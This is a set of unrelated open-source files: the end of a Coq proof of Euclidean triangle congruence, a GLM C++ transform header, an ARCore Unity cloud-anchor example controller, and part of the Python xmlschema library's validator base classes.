assert (Triangle C E D) by (conclude_def Triangle ).
assert (Triangle E C D) by (conclude_def Triangle ).
assert (TG C D D E C E) by (conclude proposition_20).
assert (TG C E E D C D) by (conclude proposition_20).
assert (TG E C C D E D) by (conclude proposition_20).
assert (TG C D E C E D) by (conclude lemma_TGsymmetric).
assert (TG C D D E E C) by (forward_using lemma_TGflip).
assert (TG D E C D E C) by (conclude lemma_TGsymmetric).
assert (TG E D C D E C) by (forward_using lemma_TGflip).
assert (TG C D E D E C) by (conclude lemma_TGsymmetric).
assert (TG E C E D C D) by (forward_using lemma_TGflip).
let Tf:=fresh in
assert (Tf:exists G F, (Cong A G E C /\ Cong A F C D /\ Cong G F E D /\ Out A B G /\ Triangle A G F))
by (conclude proposition_22);destruct Tf as [G[F]];spliter.
assert (Cong A G C E) by (forward_using lemma_congruenceflip).
assert (Cong F G D E) by (forward_using lemma_congruenceflip).
assert (eq E E) by (conclude cn_equalityreflexive).
assert (eq D D) by (conclude cn_equalityreflexive).
assert (eq F F) by (conclude cn_equalityreflexive).
assert (eq G G) by (conclude cn_equalityreflexive).
assert (~ eq C E).
{
intro.
assert (Col D C E) by (conclude_def Col ).
contradict.
}
assert (~ eq C D).
{
intro.
assert (Col C D E) by (conclude_def Col ).
assert (Col D C E) by (forward_using lemma_collinearorder).
contradict.
}
assert (Out C E E) by (conclude lemma_ray4).
assert (Out C D D) by (conclude lemma_ray4).
assert (~ Col F A G).
{
intro.
assert (Col A G F) by (forward_using lemma_collinearorder).
assert (nCol A G F) by (conclude_def Triangle ).
contradict.
}
assert (~ eq A F).
{
intro.
assert (Col A F G) by (conclude_def Col ).
assert (Col F A G) by (forward_using lemma_collinearorder).
contradict.
}
assert (Out A F F) by (conclude lemma_ray4).
assert (~ eq A G).
{
intro.
assert (Col A G F) by (conclude_def Col ).
assert (Col F A G) by (forward_using lemma_collinearorder).
contradict.
}
assert (Out A G G) by (conclude lemma_ray4).
assert (CongA F A G D C E) by (conclude_def CongA ).
close.
Qed.
End Euclid.
|
{
"pile_set_name": "Github"
}
|
/// @ref gtx_transform
/// @file glm/gtx/transform.hpp
///
/// @see core (dependence)
/// @see gtc_matrix_transform (dependence)
/// @see gtx_transform
/// @see gtx_transform2
///
/// @defgroup gtx_transform GLM_GTX_transform
/// @ingroup gtx
///
/// Include <glm/gtx/transform.hpp> to use the features of this extension.
///
/// Add transformation matrices
#pragma once
// Dependency:
#include "../glm.hpp"
#include "../gtc/matrix_transform.hpp"
#ifndef GLM_ENABLE_EXPERIMENTAL
# error "GLM: GLM_GTX_transform is an experimental extension and may change in the future. Use #define GLM_ENABLE_EXPERIMENTAL before including it, if you really want to use it."
#endif
#if GLM_MESSAGES == GLM_MESSAGES_ENABLED && !defined(GLM_EXT_INCLUDED)
# pragma message("GLM: GLM_GTX_transform extension included")
#endif
namespace glm
{
/// @addtogroup gtx_transform
/// @{
/// Transforms a matrix with a translation 4 * 4 matrix created from 3 scalars.
/// @see gtc_matrix_transform
/// @see gtx_transform
template<typename T, qualifier Q>
GLM_FUNC_DECL mat<4, 4, T, Q> translate(
vec<3, T, Q> const& v);
/// Builds a rotation 4 * 4 matrix created from an axis of 3 scalars and an angle expressed in radians.
/// @see gtc_matrix_transform
/// @see gtx_transform
template<typename T, qualifier Q>
GLM_FUNC_DECL mat<4, 4, T, Q> rotate(
T angle,
vec<3, T, Q> const& v);
/// Transforms a matrix with a scale 4 * 4 matrix created from a vector of 3 components.
/// @see gtc_matrix_transform
/// @see gtx_transform
template<typename T, qualifier Q>
GLM_FUNC_DECL mat<4, 4, T, Q> scale(
vec<3, T, Q> const& v);
/// @}
}// namespace glm
#include "transform.inl"
|
{
"pile_set_name": "Github"
}
|
//-----------------------------------------------------------------------
// <copyright file="CloudAnchorController.cs" company="Google">
//
// Copyright 2018 Google Inc. All Rights Reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// </copyright>
//-----------------------------------------------------------------------
namespace GoogleARCore.Examples.CloudAnchors
{
using System.Collections.Generic;
using GoogleARCore;
using GoogleARCore.CrossPlatform;
using GoogleARCore.Examples.Common;
using UnityEngine;
using UnityEngine.UI;
#if UNITY_EDITOR
// Set up touch input propagation while using Instant Preview in the editor.
using Input = InstantPreviewInput;
#endif
/// <summary>
/// Controller for the Cloud Anchors Example.
/// </summary>
public class CloudAnchorController : MonoBehaviour
{
/// <summary>
/// Manages sharing Anchor Ids across the local network to clients using Unity's NetworkServer. There
/// are many ways to share this data and this not part of the ARCore Cloud Anchors API surface.
/// </summary>
public RoomSharingServer RoomSharingServer;
/// <summary>
/// A controller for managing UI associated with the example.
/// </summary>
public CloudAnchorUIController UIController;
[Header("ARCore")]
/// <summary>
/// The root for ARCore-specific GameObjects in the scene.
/// </summary>
public GameObject ARCoreRoot;
/// <summary>
/// An Andy Android model to visually represent anchors in the scene; this uses ARCore
/// lighting estimation shaders.
/// </summary>
public GameObject ARCoreAndyAndroidPrefab;
[Header("ARKit")]
/// <summary>
/// The root for ARKit-specific GameObjects in the scene.
/// </summary>
public GameObject ARKitRoot;
/// <summary>
/// The first-person camera used to render the AR background texture for ARKit.
/// </summary>
public Camera ARKitFirstPersonCamera;
/// <summary>
/// An Andy Android model to visually represent anchors in the scene; this uses
/// standard diffuse shaders.
/// </summary>
public GameObject ARKitAndyAndroidPrefab;
/// <summary>
/// The loopback ip address.
/// </summary>
private const string k_LoopbackIpAddress = "127.0.0.1";
/// <summary>
/// The rotation in degrees need to apply to model when the Andy model is placed.
/// </summary>
private const float k_ModelRotation = 180.0f;
/// <summary>
/// A helper object to ARKit functionality.
/// </summary>
private ARKitHelper m_ARKit = new ARKitHelper();
/// <summary>
/// True if the app is in the process of quitting due to an ARCore connection error, otherwise false.
/// </summary>
private bool m_IsQuitting = false;
/// <summary>
/// The last placed anchor.
/// </summary>
private Component m_LastPlacedAnchor = null;
/// <summary>
/// The last resolved anchor.
/// </summary>
private XPAnchor m_LastResolvedAnchor = null;
/// <summary>
/// The current cloud anchor mode.
/// </summary>
private ApplicationMode m_CurrentMode = ApplicationMode.Ready;
/// <summary>
/// Current local room to attach next Anchor to.
/// </summary>
private int m_CurrentRoom;
/// <summary>
/// Enumerates modes the example application can be in.
/// </summary>
public enum ApplicationMode
{
Ready,
Hosting,
Resolving,
}
/// <summary>
/// The Unity Start() method.
/// </summary>
public void Start()
{
if (Application.platform != RuntimePlatform.IPhonePlayer)
{
ARCoreRoot.SetActive(true);
ARKitRoot.SetActive(false);
}
else
{
ARCoreRoot.SetActive(false);
ARKitRoot.SetActive(true);
}
_ResetStatus();
}
/// <summary>
/// The Unity Update() method.
/// </summary>
public void Update()
{
_UpdateApplicationLifecycle();
// If we are not in hosting mode or the user has already placed an anchor then the update
// is complete.
if (m_CurrentMode != ApplicationMode.Hosting || m_LastPlacedAnchor != null)
{
return;
}
// If the player has not touched the screen then the update is complete.
Touch touch;
if (Input.touchCount < 1 || (touch = Input.GetTouch(0)).phase != TouchPhase.Began)
{
return;
}
// Raycast against the location the player touched to search for planes.
if (Application.platform != RuntimePlatform.IPhonePlayer)
{
TrackableHit hit;
if (Frame.Raycast(touch.position.x, touch.position.y,
TrackableHitFlags.PlaneWithinPolygon, out hit))
{
m_LastPlacedAnchor = hit.Trackable.CreateAnchor(hit.Pose);
}
}
else
{
Pose hitPose;
if (m_ARKit.RaycastPlane(ARKitFirstPersonCamera, touch.position.x, touch.position.y, out hitPose))
{
m_LastPlacedAnchor = m_ARKit.CreateAnchor(hitPose);
}
}
if (m_LastPlacedAnchor != null)
{
// Instantiate Andy model at the hit pose.
var andyObject = Instantiate(_GetAndyPrefab(), m_LastPlacedAnchor.transform.position,
m_LastPlacedAnchor.transform.rotation);
// Compensate for the hitPose rotation facing away from the raycast (i.e. camera).
andyObject.transform.Rotate(0, k_ModelRotation, 0, Space.Self);
// Make Andy model a child of the anchor.
andyObject.transform.parent = m_LastPlacedAnchor.transform;
// Save cloud anchor.
_HostLastPlacedAnchor();
}
}
/// <summary>
/// Handles user intent to enter a mode where they can place an anchor to host or to exit this mode if
/// already in it.
/// </summary>
public void OnEnterHostingModeClick()
{
if (m_CurrentMode == ApplicationMode.Hosting)
{
m_CurrentMode = ApplicationMode.Ready;
_ResetStatus();
return;
}
m_CurrentMode = ApplicationMode.Hosting;
m_CurrentRoom = Random.Range(1, 9999);
UIController.SetRoomTextValue(m_CurrentRoom);
UIController.ShowHostingModeBegin();
}
/// <summary>
/// Handles a user intent to enter a mode where they can input an anchor to be resolved or exit this mode if
/// already in it.
/// </summary>
public void OnEnterResolvingModeClick()
{
if (m_CurrentMode == ApplicationMode.Resolving)
{
m_CurrentMode = ApplicationMode.Ready;
_ResetStatus();
return;
}
m_CurrentMode = ApplicationMode.Resolving;
UIController.ShowResolvingModeBegin();
}
/// <summary>
/// Handles the user intent to resolve the cloud anchor associated with a room they have typed into the UI.
/// </summary>
public void OnResolveRoomClick()
{
var roomToResolve = UIController.GetRoomInputValue();
if (roomToResolve == 0)
{
UIController.ShowResolvingModeBegin("Anchor resolve failed due to invalid room code.");
return;
}
UIController.SetRoomTextValue(roomToResolve);
string ipAddress =
UIController.GetResolveOnDeviceValue() ? k_LoopbackIpAddress : UIController.GetIpAddressInputValue();
UIController.ShowResolvingModeAttemptingResolve();
RoomSharingClient roomSharingClient = new RoomSharingClient();
roomSharingClient.GetAnchorIdFromRoom(roomToResolve, ipAddress, (bool found, string cloudAnchorId) =>
{
if (!found)
{
UIController.ShowResolvingModeBegin("Anchor resolve failed due to invalid room code, " +
"ip address or network error.");
}
else
{
_ResolveAnchorFromId(cloudAnchorId);
}
});
}
/// <summary>
/// Hosts the user placed cloud anchor and associates the resulting Id with the current room.
/// </summary>
private void _HostLastPlacedAnchor()
{
#if !UNITY_IOS || ARCORE_IOS_SUPPORT
#if !UNITY_IOS
var anchor = (Anchor)m_LastPlacedAnchor;
#else
var anchor = (UnityEngine.XR.iOS.UnityARUserAnchorComponent)m_LastPlacedAnchor;
#endif
UIController.ShowHostingModeAttemptingHost();
XPSession.CreateCloudAnchor(anchor).ThenAction(result =>
{
if (result.Response != CloudServiceResponse.Success)
{
UIController.ShowHostingModeBegin(
string.Format("Failed to host cloud anchor: {0}", result.Response));
return;
}
RoomSharingServer.SaveCloudAnchorToRoom(m_CurrentRoom, result.Anchor);
UIController.ShowHostingModeBegin("Cloud anchor was created and saved.");
});
#endif
}
/// <summary>
/// Resolves an anchor id and instantiates an Andy prefab on it.
/// </summary>
/// <param name="cloudAnchorId">Cloud anchor id to be resolved.</param>
private void _ResolveAnchorFromId(string cloudAnchorId)
{
XPSession.ResolveCloudAnchor(cloudAnchorId).ThenAction((System.Action<CloudAnchorResult>)(result =>
{
if (result.Response != CloudServiceResponse.Success)
{
UIController.ShowResolvingModeBegin(string.Format("Resolving Error: {0}.", result.Response));
return;
}
m_LastResolvedAnchor = result.Anchor;
Instantiate(_GetAndyPrefab(), result.Anchor.transform);
UIController.ShowResolvingModeSuccess();
}));
}
/// <summary>
/// Resets the internal status and UI.
/// </summary>
private void _ResetStatus()
{
// Reset internal status.
m_CurrentMode = ApplicationMode.Ready;
if (m_LastPlacedAnchor != null)
{
Destroy(m_LastPlacedAnchor.gameObject);
}
m_LastPlacedAnchor = null;
if (m_LastResolvedAnchor != null)
{
Destroy(m_LastResolvedAnchor.gameObject);
}
m_LastResolvedAnchor = null;
UIController.ShowReadyMode();
}
/// <summary>
/// Gets the platform-specific Andy the android prefab.
/// </summary>
/// <returns>The platform-specific Andy the android prefab.</returns>
private GameObject _GetAndyPrefab()
{
return Application.platform != RuntimePlatform.IPhonePlayer ?
ARCoreAndyAndroidPrefab : ARKitAndyAndroidPrefab;
}
/// <summary>
/// Check and update the application lifecycle.
/// </summary>
private void _UpdateApplicationLifecycle()
{
// Exit the app when the 'back' button is pressed.
if (Input.GetKey(KeyCode.Escape))
{
Application.Quit();
}
var sleepTimeout = SleepTimeout.NeverSleep;
#if !UNITY_IOS
// Only allow the screen to sleep when not tracking.
if (Session.Status != SessionStatus.Tracking)
{
const int lostTrackingSleepTimeout = 15;
sleepTimeout = lostTrackingSleepTimeout;
}
#endif
Screen.sleepTimeout = sleepTimeout;
if (m_IsQuitting)
{
return;
}
// Quit if ARCore was unable to connect and give Unity some time for the toast to appear.
if (Session.Status == SessionStatus.ErrorPermissionNotGranted)
{
_ShowAndroidToastMessage("Camera permission is needed to run this application.");
m_IsQuitting = true;
Invoke("_DoQuit", 0.5f);
}
else if (Session.Status.IsError())
{
_ShowAndroidToastMessage("ARCore encountered a problem connecting. Please start the app again.");
m_IsQuitting = true;
Invoke("_DoQuit", 0.5f);
}
}
/// <summary>
/// Actually quit the application.
/// </summary>
private void _DoQuit()
{
Application.Quit();
}
/// <summary>
/// Show an Android toast message.
/// </summary>
/// <param name="message">Message string to show in the toast.</param>
private void _ShowAndroidToastMessage(string message)
{
AndroidJavaClass unityPlayer = new AndroidJavaClass("com.unity3d.player.UnityPlayer");
AndroidJavaObject unityActivity = unityPlayer.GetStatic<AndroidJavaObject>("currentActivity");
if (unityActivity != null)
{
AndroidJavaClass toastClass = new AndroidJavaClass("android.widget.Toast");
unityActivity.Call("runOnUiThread", new AndroidJavaRunnable(() =>
{
AndroidJavaObject toastObject = toastClass.CallStatic<AndroidJavaObject>("makeText", unityActivity,
message, 0);
toastObject.Call("show");
}));
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
#
# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies).
# All rights reserved.
# This file is distributed under the terms of the MIT License.
# See the file 'LICENSE' in the root directory of the present
# distribution, or http://opensource.org/licenses/MIT.
#
# @author Davide Brunato <brunato@sissa.it>
#
"""
This module contains base functions and classes XML Schema components.
"""
import re
from ..exceptions import XMLSchemaValueError, XMLSchemaTypeError
from ..qnames import XSD_ANNOTATION, XSD_APPINFO, XSD_DOCUMENTATION, XML_LANG, \
XSD_ANY_TYPE, XSD_ANY_SIMPLE_TYPE, XSD_ANY_ATOMIC_TYPE, XSD_ID, XSD_QNAME, \
XSD_OVERRIDE, XSD_NOTATION_TYPE, get_qname, local_name, get_prefixed_qname, \
is_not_xsd_annotation
from ..etree import etree_tostring
from ..helpers import is_etree_element
from .exceptions import XMLSchemaParseError, XMLSchemaValidationError
XSD_TYPE_DERIVATIONS = {'extension', 'restriction'}
XSD_ELEMENT_DERIVATIONS = {'extension', 'restriction', 'substitution'}
XSD_VALIDATION_MODES = {'strict', 'lax', 'skip'}
"""
XML Schema validation modes
Ref.: https://www.w3.org/TR/xmlschema11-1/#key-va
"""
def check_validation_mode(validation):
if validation not in XSD_VALIDATION_MODES:
raise XMLSchemaValueError("validation mode can be 'strict', "
"'lax' or 'skip': %r" % validation)
class XsdValidator(object):
"""
Common base class for XML Schema validator, that represents a PSVI (Post Schema Validation
Infoset) information item. A concrete XSD validator have to report its validity collecting
building errors and implementing the properties.
:param validation: defines the XSD validation mode to use for build the validator, \
its value can be 'strict', 'lax' or 'skip'. Strict mode is the default.
:type validation: str
:ivar validation: XSD validation mode.
:vartype validation: str
:ivar errors: XSD validator building errors.
:vartype errors: list
"""
xsd_version = None
def __init__(self, validation='strict'):
self.validation = validation
self.errors = []
def __str__(self):
return self.__repr__()
@property
def built(self):
"""
Property that is ``True`` if XSD validator has been fully parsed and built,
``False`` otherwise. For schemas the property is checked on all global
components. For XSD components check only the building of local subcomponents.
"""
raise NotImplementedError()
@property
def validation_attempted(self):
"""
Property that returns the *validation status* of the XSD validator.
It can be 'full', 'partial' or 'none'.
| https://www.w3.org/TR/xmlschema-1/#e-validation_attempted
| https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#e-validation_attempted
"""
raise NotImplementedError()
@property
def validity(self):
"""
Property that returns the XSD validator's validity.
It can be ‘valid’, ‘invalid’ or ‘notKnown’.
| https://www.w3.org/TR/xmlschema-1/#e-validity
| https://www.w3.org/TR/2012/REC-xmlschema11-1-20120405/#e-validity
"""
if self.validation == 'skip':
return 'notKnown'
elif self.errors or any(comp.errors for comp in self.iter_components()):
return 'invalid'
elif self.built:
return 'valid'
else:
return 'notKnown'
def iter_components(self, xsd_classes=None):
"""
Creates an iterator for traversing all XSD components of the validator.
:param xsd_classes: returns only a specific class/classes of components, \
otherwise returns all components.
"""
raise NotImplementedError()
@property
def all_errors(self):
"""
A list with all the building errors of the XSD validator and its components.
"""
errors = []
for comp in self.iter_components():
if comp.errors:
errors.extend(comp.errors)
return errors
def copy(self):
validator = object.__new__(self.__class__)
validator.__dict__.update(self.__dict__)
validator.errors = self.errors[:]
return validator
__copy__ = copy
def parse_error(self, error, elem=None, validation=None):
"""
Helper method for registering parse errors. Does nothing if validation mode is 'skip'.
Il validation mode is 'lax' collects the error, otherwise raise the error.
:param error: can be a parse error or an error message.
:param elem: the Element instance related to the error, for default uses the 'elem' \
attribute of the validator, if it's present.
:param validation: overrides the default validation mode of the validator.
"""
if validation:
check_validation_mode(validation)
else:
validation = self.validation
if validation == 'skip':
return
if is_etree_element(elem):
pass
elif elem is None:
elem = getattr(self, 'elem', None)
else:
msg = "the argument 'elem' must be an Element instance, not {!r}."
raise XMLSchemaTypeError(msg.format(elem))
if isinstance(error, XMLSchemaParseError):
error.validator = self
error.namespaces = getattr(self, 'namespaces', None)
error.elem = elem
error.source = getattr(self, 'source', None)
elif isinstance(error, Exception):
message = str(error).strip()
if message[0] in '\'"' and message[0] == message[-1]:
message = message.strip('\'"')
error = XMLSchemaParseError(self, message, elem)
elif isinstance(error, str):
error = XMLSchemaParseError(self, error, elem)
else:
msg = "'error' argument must be an exception or a string, not {!r}."
raise XMLSchemaTypeError(msg.format(error))
if validation == 'lax':
self.errors.append(error)
else:
raise error
def _parse_xpath_default_namespace(self, elem):
"""
Parse XSD 1.1 xpathDefaultNamespace attribute for schema, alternative, assert, assertion
and selector declarations, checking if the value is conforming to the specification. In
case the attribute is missing or for wrong attribute values defaults to ''.
"""
try:
value = elem.attrib['xpathDefaultNamespace']
except KeyError:
return ''
value = value.strip()
if value == '##local':
return ''
elif value == '##defaultNamespace':
return getattr(self, 'default_namespace')
elif value == '##targetNamespace':
return getattr(self, 'target_namespace')
elif len(value.split()) == 1:
return value
else:
admitted_values = ('##defaultNamespace', '##targetNamespace', '##local')
msg = "wrong value %r for 'xpathDefaultNamespace' attribute, can be (anyURI | %s)."
self.parse_error(msg % (value, ' | '.join(admitted_values)), elem)
return ''
class XsdComponent(XsdValidator):
"""
Class for XSD components. See: https://www.w3.org/TR/xmlschema-ref/
:param elem: ElementTree's node containing the definition.
:param schema: the XMLSchema object that owns the definition.
:param parent: the XSD parent, `None` means that is a global component that \
has the schema as parent.
:param name: name of the component, maybe overwritten by the parse of the `elem` argument.
:cvar qualified: for name matching, unqualified matching may be admitted only \
for elements and attributes.
:vartype qualified: bool
"""
_REGEX_SPACE = re.compile(r'\s')
_REGEX_SPACES = re.compile(r'\s+')
_ADMITTED_TAGS = ()
parent = None
name = None
ref = None
qualified = True
def __init__(self, elem, schema, parent=None, name=None):
super(XsdComponent, self).__init__(schema.validation)
if name is not None:
assert name and (name[0] == '{' or not schema.target_namespace), \
"name=%r argument: must be a qualified name of the target namespace." % name
self.name = name
if parent is not None:
self.parent = parent
self.schema = schema
self.maps = schema.maps
self.elem = elem
def __setattr__(self, name, value):
if name == "elem":
if not is_etree_element(value):
raise XMLSchemaTypeError(
"%r attribute must be an Etree Element: %r" % (name, value)
)
elif value.tag not in self._ADMITTED_TAGS:
raise XMLSchemaValueError(
"wrong XSD element %r for %r, must be one of %r." % (
local_name(value.tag), self,
[local_name(tag) for tag in self._ADMITTED_TAGS]
)
)
super(XsdComponent, self).__setattr__(name, value)
self._parse()
return
elif name == "schema":
if hasattr(self, 'schema') and self.schema.target_namespace != value.target_namespace:
raise XMLSchemaValueError(
"cannot change 'schema' attribute of %r: the actual %r has a different "
"target namespace than %r." % (self, self.schema, value)
)
super(XsdComponent, self).__setattr__(name, value)
@property
def xsd_version(self):
return self.schema.XSD_VERSION
def is_global(self):
"""Returns `True` if the instance is a global component, `False` if it's local."""
return self.parent is None
def is_override(self):
"""Returns `True` if the instance is an override of a global component."""
if self.parent is not None:
return False
return any(self.elem in x for x in self.schema.root if x.tag == XSD_OVERRIDE)
@property
def schema_elem(self):
"""The reference element of the schema for the component instance."""
return self.elem
@property
def source(self):
"""Property that references to schema source."""
return self.schema.source
@property
def target_namespace(self):
"""Property that references to schema's targetNamespace."""
return self.schema.target_namespace if self.ref is None else self.ref.target_namespace
@property
def default_namespace(self):
"""Property that references to schema's default namespaces."""
return self.schema.namespaces.get('')
@property
def namespaces(self):
"""Property that references to schema's namespace mapping."""
return self.schema.namespaces
@property
def any_type(self):
"""Property that references to the xs:anyType instance of the global maps."""
return self.maps.types[XSD_ANY_TYPE]
@property
def any_simple_type(self):
"""Property that references to the xs:anySimpleType instance of the global maps."""
return self.maps.types[XSD_ANY_SIMPLE_TYPE]
@property
def any_atomic_type(self):
"""Property that references to the xs:anyAtomicType instance of the global maps."""
return self.maps.types[XSD_ANY_ATOMIC_TYPE]
def __repr__(self):
if self.name is None:
return '<%s at %#x>' % (self.__class__.__name__, id(self))
elif self.ref is not None:
return '%s(ref=%r)' % (self.__class__.__name__, self.prefixed_name)
else:
return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name)
def _parse(self):
del self.errors[:]
try:
if self.elem[0].tag == XSD_ANNOTATION:
self.annotation = XsdAnnotation(self.elem[0], self.schema, self)
else:
self.annotation = None
except (TypeError, IndexError):
self.annotation = None
def _parse_reference(self):
"""
Helper method for referable components. Returns `True` if a valid reference QName
is found without any error, otherwise returns `None`. Sets an id-related name for
the component ('nameless_<id of the instance>') if both the attributes 'ref' and
'name' are missing.
"""
ref = self.elem.get('ref')
if ref is None:
if 'name' in self.elem.attrib:
return
elif self.parent is None:
self.parse_error("missing attribute 'name' in a global %r" % type(self))
else:
self.parse_error(
"missing both attributes 'name' and 'ref' in local %r" % type(self)
)
elif 'name' in self.elem.attrib:
self.parse_error("attributes 'name' and 'ref' are mutually exclusive")
elif self.parent is None:
self.parse_error("attribute 'ref' not allowed in a global %r" % type(self))
else:
try:
self.name = self.schema.resolve_qname(ref)
except (KeyError, ValueError, RuntimeError) as err:
self.parse_error(err)
else:
if self._parse_child_component(self.elem) is not None:
self.parse_error("a reference component cannot have "
"child definitions/declarations")
return True
def _parse_boolean_attribute(self, name):
try:
value = self.elem.attrib[name].strip()
except KeyError:
return
else:
if value in ('true', '1'):
return True
elif value in ('false', '0'):
return False
else:
self.parse_error("wrong value %r for boolean attribute %r" % (value, name))
def _parse_child_component(self, elem, strict=True):
child = None
for index, child in enumerate(filter(is_not_xsd_annotation, elem)):
if not strict:
return child
elif index:
msg = "too many XSD components, unexpected {!r} found at position {}"
self.parse_error(msg.format(child, index), elem)
return child
def _parse_target_namespace(self):
"""
XSD 1.1 targetNamespace attribute in elements and attributes declarations.
"""
if 'targetNamespace' not in self.elem.attrib:
return
self._target_namespace = self.elem.attrib['targetNamespace'].strip()
if 'name' not in self.elem.attrib:
self.parse_error("attribute 'name' must be present when "
"'targetNamespace' attribute is provided")
if 'form' in self.elem.attrib:
self.parse_error("attribute 'form' must be absent when "
"'targetNamespace' attribute is provided")
if self._target_namespace != self.schema.target_namespace:
if self.parent is None:
self.parse_error("a global %s must have the same namespace as "
"its parent schema" % self.__class__.__name__)
xsd_type = self.get_parent_type()
if not xsd_type or xsd_type.parent is not None:
pass
elif xsd_type.derivation != 'restriction' or xsd_type.base_type.name == XSD_ANY_TYPE:
self.parse_error("a declaration contained in a global complexType "
"must have the same namespace as its parent schema")
if not self._target_namespace:
self.name = local_name(self.name)
else:
self.name = '{%s}%s' % (self._target_namespace, local_name(self.name))
@property
def local_name(self):
"""The local part of the name of the component, or `None` if the name is `None`."""
return local_name(self.name)
@property
def qualified_name(self):
"""The name of the component in extended format, or `None` if the name is `None`."""
return get_qname(self.target_namespace, self.name)
@property
def prefixed_name(self):
"""The name of the component in prefixed format, or `None` if the name is `None`."""
return get_prefixed_qname(self.name, self.namespaces)
@property
def id(self):
"""The ``'id'`` attribute of the component tag, ``None`` if missing."""
return self.elem.get('id')
@property
def validation_attempted(self):
return 'full' if self.built else 'partial'
@property
def built(self):
raise NotImplementedError()
def is_matching(self, name, default_namespace=None, **kwargs):
"""
Returns `True` if the component name is matching the name provided as argument,
`False` otherwise. For XSD elements the matching is extended to substitutes.
:param name: a local or fully-qualified name.
:param default_namespace: used if it's not None and not empty for completing \
the name argument in case it's a local name.
:param kwargs: additional options that can be used by certain components.
"""
if not name:
return self.name == name
elif name[0] == '{':
return self.qualified_name == name
elif not default_namespace:
return self.name == name or not self.qualified and self.local_name == name
else:
qname = '{%s}%s' % (default_namespace, name)
return self.qualified_name == qname or not self.qualified and self.local_name == name
def match(self, name, default_namespace=None, **kwargs):
"""
Returns the component if its name is matching the name provided as argument,
`None` otherwise.
"""
return self if self.is_matching(name, default_namespace, **kwargs) else None
def get_global(self):
"""Returns the global XSD component that contains the component instance."""
if self.parent is None:
return self
component = self.parent
while component is not self:
if component.parent is None:
return component
component = component.parent
def get_parent_type(self):
"""
Returns the nearest XSD type that contains the component instance,
or `None` if the component doesn't have an XSD type parent.
"""
component = self.parent
while component is not self and component is not None:
if isinstance(component, XsdType):
return component
component = component.parent
def iter_components(self, xsd_classes=None):
"""
Creates an iterator for XSD subcomponents.
:param xsd_classes: provide a class or a tuple of classes to iterates over only a \
specific classes of components.
"""
if xsd_classes is None or isinstance(self, xsd_classes):
yield self
def iter_ancestors(self, xsd_classes=None):
"""
Creates an iterator for XSD ancestor components, schema excluded. Stops when the component
is global or if the ancestor is not an instance of the specified class/classes.
:param xsd_classes: provide a class or a tuple of classes to iterates over only a \
specific classes of components.
"""
ancestor = self
while True:
ancestor = ancestor.parent
if ancestor is None or xsd_classes and not isinstance(ancestor, xsd_classes):
break
yield ancestor
def tostring(self, indent='', max_lines=None, spaces_for_tab=4):
"""Serializes the XML elements that declare or define the component to a string."""
return etree_tostring(self.schema_elem, self.namespaces, indent, max_lines, spaces_for_tab)
class XsdAnnotation(XsdComponent):
"""
Class for XSD *annotation* definitions.
:ivar appinfo: a list containing the xs:appinfo children.
:ivar documentation: a list containing the xs:documentation children.
.. <annotation
id = ID
{any attributes with non-schema namespace . . .}>
Content: (appinfo | documentation)*
</annotation>
.. <appinfo
source = anyURI
{any attributes with non-schema namespace . . .}>
Content: ({any})*
</appinfo>
.. <documentation
source = anyURI
xml:lang = language
{any attributes with non-schema namespace . . .}>
Content: ({any})*
</documentation>
"""
_ADMITTED_TAGS = {XSD_ANNOTATION}
@property
def built(self):
return True
def _parse(self):
del self.errors[:]
self.appinfo = []
self.documentation = []
for child in self.elem:
if child.tag == XSD_APPINFO:
for key in child.attrib:
if key != 'source':
self.parse_error("wrong attribute %r for appinfo declaration." % key)
self.appinfo.append(child)
elif child.tag == XSD_DOCUMENTATION:
for key in child.attrib:
if key not in ['source', XML_LANG]:
self.parse_error("wrong attribute %r for documentation declaration." % key)
self.documentation.append(child)
class XsdType(XsdComponent):
"""Common base class for XSD types."""
abstract = False
block = None
base_type = None
derivation = None
redefine = None
_final = None
@property
def final(self):
return self.schema.final_default if self._final is None else self._final
@property
def built(self):
raise NotImplementedError()
@property
def content_type_label(self):
"""The content type classification."""
raise NotImplementedError()
@property
def sequence_type(self):
"""The XPath sequence type associated with the content."""
raise NotImplementedError()
@property
def root_type(self):
"""
The root type of the type definition hierarchy. For an atomic type
is the primitive type. For a list is the primitive type of the item.
For a union is the base union type. For a complex type is xs:anyType.
"""
if self.is_complex() and self.attributes:
return self.maps.types[XSD_ANY_TYPE]
elif self.base_type is None:
return self if self.is_simple() else self.maps.types[XSD_ANY_TYPE]
try:
if self.base_type.is_simple():
return self.base_type.primitive_type
else:
return self.base_type.content.primitive_type
except AttributeError:
# The type has complex or XsdList content
return self.base_type.root_type
@property
def simple_type(self):
"""
Property that is the instance itself for a simpleType. For a
complexType is the instance's *content* if this is a simpleType
or `None` if the instance's *content* is a model group.
"""
raise NotImplementedError()
@property
def model_group(self):
"""
Property that is `None` for a simpleType. For a complexType is
the instance's *content* if this is a model group or `None` if
the instance's *content* is a simpleType.
"""
raise NotImplementedError()
@staticmethod
def is_simple():
"""Returns `True` if the instance is a simpleType, `False` otherwise."""
raise NotImplementedError()
@staticmethod
def is_complex():
"""Returns `True` if the instance is a complexType, `False` otherwise."""
raise NotImplementedError()
@staticmethod
def is_atomic():
"""Returns `True` if the instance is an atomic simpleType, `False` otherwise."""
return False
@staticmethod
def is_list():
"""Returns `True` if the instance is a list simpleType, `False` otherwise."""
return False
@staticmethod
def is_union():
"""Returns `True` if the instance is a union simpleType, `False` otherwise."""
return False
@staticmethod
def is_datetime():
"""
Returns `True` if the instance is a datetime/duration XSD builtin-type, `False` otherwise.
"""
return False
def is_empty(self):
"""Returns `True` if the instance has an empty content, `False` otherwise."""
raise NotImplementedError()
def is_emptiable(self):
"""Returns `True` if the instance has an emptiable value or content, `False` otherwise."""
raise NotImplementedError()
def has_simple_content(self):
"""
Returns `True` if the instance has a simple content, `False` otherwise.
"""
raise NotImplementedError()
def has_complex_content(self):
"""
Returns `True` if the instance is a complexType with mixed or element-only
content, `False` otherwise.
"""
raise NotImplementedError()
def has_mixed_content(self):
"""
Returns `True` if the instance is a complexType with mixed content, `False` otherwise.
"""
